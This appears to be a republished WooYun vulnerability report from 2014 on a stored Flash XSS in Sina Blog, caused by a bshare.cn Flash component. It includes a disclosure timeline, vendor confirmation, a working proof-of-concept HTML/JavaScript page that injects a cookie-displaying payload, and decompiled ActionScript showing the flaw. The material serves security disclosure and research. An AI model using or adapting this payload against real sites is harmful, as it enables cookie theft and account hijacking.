新浪博客Flash XSS Rootkit(博客通杀+部分其他站点)

admin 2015年5月6日03:10:22评论391 views字数 247阅读0分49秒阅读模式
摘要

2014-07-25: 细节已通知厂商并且等待厂商处理中
2014-07-28: 厂商已经确认,细节仅向厂商公开
2014-08-07: 细节向核心白帽子及相关领域专家公开
2014-08-17: 细节向普通白帽子公开
2014-08-27: 细节向实习白帽子公开
2014-09-08: 细节向公众公开

漏洞概要 关注数(14) 关注此漏洞

缺陷编号: WooYun-2014-69590

漏洞标题: 新浪博客Flash XSS Rootkit(博客通杀+部分其他站点)

相关厂商: 新浪

漏洞作者: iv4n

提交时间: 2014-07-25 11:49

公开时间: 2014-09-08 11:50

漏洞类型: XSS 跨站脚本攻击

危害等级: 中

自评Rank: 5

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 存储型xss flash应用安全 flash应用安全 XssRootkit

0人收藏


漏洞详情

披露状态:

2014-07-25: 细节已通知厂商并且等待厂商处理中
2014-07-28: 厂商已经确认,细节仅向厂商公开
2014-08-07: 细节向核心白帽子及相关领域专家公开
2014-08-17: 细节向普通白帽子公开
2014-08-27: 细节向实习白帽子公开
2014-09-08: 细节向公众公开

简要描述:

bshare.cn的Flash LSO导致的漏洞,新浪算躺枪,不过对新浪来说危害太大

详细说明:

搜索到“XXX”关键字到了新浪博客,突然弹出了cookie,吓了一跳。

仔细一看,原来是bshare.cn的一个flash导致的,才想到前段时间审核某外包应用的时候发现的bshare.cn的LSO漏洞,当时果断掐掉了这货,没想到新浪也用了这货,纯属意外,原理和前面发的那个Flash LSO的一样:http://wooyun.org/bugs/wooyun-2014-065197

漏洞证明:

访问:

http://1v4n.sinaapp.com/poc/bfc.html

code 区域
<object id="bshareFS" type="application/x-shockwave-flash" data="http://static.bshare.cn/flash/bfc.swf" width="0" height="0">
<param name="movie" value="http://static.bshare.cn/flash/bfc.swf">
<param name="allowScriptAccess" value="always">
<param name="allowNetworking" value="all">
</object>


<script>

function set(){
document.getElementById('bshareFS').bSyncInfo('//";alert(document.domain+document.cookie);//a');
}


//function get(){aa.getlso();}

setTimeout("set()",2000);

//setTimeout("get()",2100);


</script>

再访问:

http://finance.sina.com.cn/focus/ourtimes_zxl/ 或者任意一篇博客。

简单看了下,博客是通杀,其他也没心思找了。

说明下:如果原来访问过博客之类的,需要清理一下Flash本地存储,再走上面流程,才能触发。具体原因看代码吧:

code 区域
public function syncInfo(param1:String = "", param2:String = "bshare", param3:Boolean = false) : String
{
var _loc_4:SharedObject = null;
try
{
_loc_4 = SharedObject.getLocal("buzz-" + param2);
if (_loc_4.data.hasOwnProperty("bInfo") && _loc_4.data.bInfo)
{
if (param1)
{
if (_loc_4.data.bInfo !== param1)
{
if (param3)
{
_loc_4.data.bInfo = param1;
_loc_4.flush();
}
else
{
return _loc_4.data.bInfo;
}
}
}
else
{
return _loc_4.data.bInfo;
}
}
else if (param1)
{
_loc_4.data.bInfo = param1;
_loc_4.flush();
}
}
catch (e:Error)
{
}
return "";
}// end function

function frame1()
{
Security.allowDomain("*");
Security.allowInsecureDomain("*");
addEventListener(Event.ENTER_FRAME, this.registerExternalCallbacks);
return;
}// end function

新浪博客Flash XSS Rootkit(博客通杀+部分其他站点)

新浪博客Flash XSS Rootkit(博客通杀+部分其他站点)

修复方案:

能不用别人的就不要用别人的,一不小心露了菊花

版权声明:转载请注明来源 iv4n@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2014-07-28 17:29

厂商回复:

感谢对新浪安全的支持

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(少于3人评价):

登陆后才能进行评分

100%

0%

0%

0%

0%


评价

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin